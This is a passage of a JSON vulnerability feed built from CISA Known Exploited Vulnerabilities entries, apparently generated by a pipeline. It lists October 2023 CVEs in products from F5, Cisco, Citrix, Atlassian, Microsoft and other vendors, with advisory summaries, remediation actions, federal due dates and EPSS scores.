with network access to the BIG-IP system through the management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46748.","detail":"CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-31","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP Configuration Utility","stacks":["F5 BIG-IP","F5","BIG-IP Configuration Utility"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-31","dueAt":"2023-11-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96515,"percentile":0.99881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-46747","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-46747 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-46747, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-46748","cveId":"CVE-2023-46748","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Configuration Utility SQL Injection Vulnerability","summary":"F5 BIG-IP Configuration utility contains an SQL injection vulnerability that may allow an authenticated attacker with network access through the BIG-IP management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46747.","detail":"CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-31","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP Configuration Utility","stacks":["F5 BIG-IP","F5","BIG-IP Configuration Utility"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-31","dueAt":"2023-11-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04468,"percentile":0.91379,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-46748","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-46748 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-46748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-5631","cveId":"CVE-2023-5631","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability","summary":"Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that allows a remote attacker to run malicious JavaScript code.","detail":"CISA added this entry on 2023-10-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-26","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-26","dueAt":"2023-11-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76901,"percentile":0.99544,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-5631","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-5631 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-5631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20273","cveId":"CVE-2023-20273","aliases":[],"kind":"vulnerability","title":"Cisco IOS XE Web UI Command Injection Vulnerability","summary":"Cisco IOS XE contains a command injection vulnerability in the web user interface. When chained with CVE-2023-20198, the attacker can leverage the new local user to elevate privilege to root and write the implant to the file system. Cisco identified CVE-2023-20273 as the vulnerability exploited to deploy the implant. CVE-2021-1435, previously associated with the exploitation events, is no longer believed to be related to this activity.","detail":"CISA added this entry on 2023-10-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.","publishedAt":"2023-10-23","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Cisco IOS XE Web UI","stacks":["Cisco","Cisco IOS XE Web UI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-23","dueAt":"2023-10-27","action":"Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92938,"percentile":0.9983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20273","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20273 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4966","cveId":"CVE-2023-4966","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for sensitive information disclosure when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.","detail":"CISA added this entry on 2023-10-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-18","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and NetScaler Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and NetScaler Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-18","dueAt":"2023-11-08","action":"Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4966","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4966 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20198","cveId":"CVE-2023-20198","aliases":[],"kind":"vulnerability","title":"Cisco IOS XE Web UI Privilege Escalation Vulnerability","summary":"Cisco IOS XE Web UI contains a privilege escalation vulnerability in the web user interface that could allow a remote, unauthenticated attacker to create an account with privilege level 15 access. The attacker can then use that account to gain control of the affected device.","detail":"CISA added this entry on 2023-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.","publishedAt":"2023-10-16","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XE Web UI","stacks":["Cisco","IOS XE Web UI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-16","dueAt":"2023-10-20","action":"Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99613,"percentile":0.99948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20198","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20198 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20109","cveId":"CVE-2023-20109","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Group Encrypted Transport VPN Out-of-Bounds Write Vulnerability","summary":"Cisco IOS and IOS XE contain an out-of-bounds write vulnerability in the Group Encrypted Transport VPN (GET VPN) feature that could allow an authenticated, remote attacker who has administrative control of either a group member or a key server to execute malicious code or cause a device to crash.","detail":"CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-10","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE","stacks":["Cisco","IOS and IOS XE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-10","dueAt":"2023-10-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02484,"percentile":0.84478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20109","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20109 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21608","cveId":"CVE-2023-21608","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Use-After-Free Vulnerability","summary":"Adobe Acrobat and Reader contains a use-after-free vulnerability that allows for code execution in the context of the current user.","detail":"CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-10","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-10","dueAt":"2023-10-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59427,"percentile":0.99115,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21608","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21608 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36563","cveId":"CVE-2023-36563","aliases":[],"kind":"vulnerability","title":"Microsoft WordPad Information Disclosure Vulnerability","summary":"Microsoft WordPad contains an unspecified vulnerability that allows for information disclosure.","detail":"CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"WordPad","stacks":["Microsoft","WordPad"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-10","dueAt":"2023-10-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20318,"percentile":0.97457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36563","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36563 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41763","cveId":"CVE-2023-41763","aliases":[],"kind":"vulnerability","title":"Microsoft Skype for Business Privilege Escalation Vulnerability","summary":"Microsoft Skype for Business contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Skype for Business","stacks":["Microsoft","Skype for Business"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-10","dueAt":"2023-10-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90547,"percentile":0.99799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41763","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41763 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-44487","cveId":"CVE-2023-44487","aliases":[],"kind":"vulnerability","title":"HTTP/2 Rapid Reset Attack Vulnerability","summary":"HTTP/2 contains a rapid reset vulnerability that allows for a distributed denial-of-service attack (DDoS).","detail":"CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-10","updatedAt":null,"regions":["Global"],"vendor":"IETF","product":"HTTP/2","stacks":["IETF","HTTP/2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-10","dueAt":"2023-10-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-44487","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-44487 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-44487, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-22515","cveId":"CVE-2023-22515","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Data Center and Server Broken Access Control Vulnerability","summary":"Atlassian Confluence Data Center and Server contains a broken access control vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.","detail":"CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Check all affected Confluence instances for evidence of compromise per vendor instructions and report any positive findings to CISA.","publishedAt":"2023-10-05","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Data Center and Server","stacks":["Atlassian","Confluence Data Center and Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-05","dueAt":"2023-10-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Check all affected Confluence instances for evidence of compromise per vendor instructions and report any positive findings to CISA.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99223,"percentile":0.99935,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-22515","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-22515 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-22515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-40044","cveId":"CVE-2023-40044","aliases":[],"kind":"vulnerability","title":"Progress WS_FTP Server Deserialization of Untrusted Data Vulnerability","summary":"Progress WS_FTP Server contains a deserialization of untrusted data vulnerability in the Ad Hoc Transfer module that allows an authenticated attacker to execute remote commands on the underlying operating system.","detail":"CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-05","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"WS_FTP Server","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","WS_FTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-05","dueAt":"2023-10-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90355,"percentile":0.99797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-40044","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-40044 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-40044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-42824","cveId":"CVE-2023-42824","aliases":[],"kind":"vulnerability","title":"Apple iOS and iPadOS Kernel Privilege Escalation Vulnerability","summary":"Apple iOS and iPadOS contain an unspecified vulnerability that allows for local privilege escalation.","detail":"CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-05","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and iPadOS","stacks":["Apple iOS and iPadOS","Apple","iOS and iPadOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-05","dueAt":"2023-10-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are 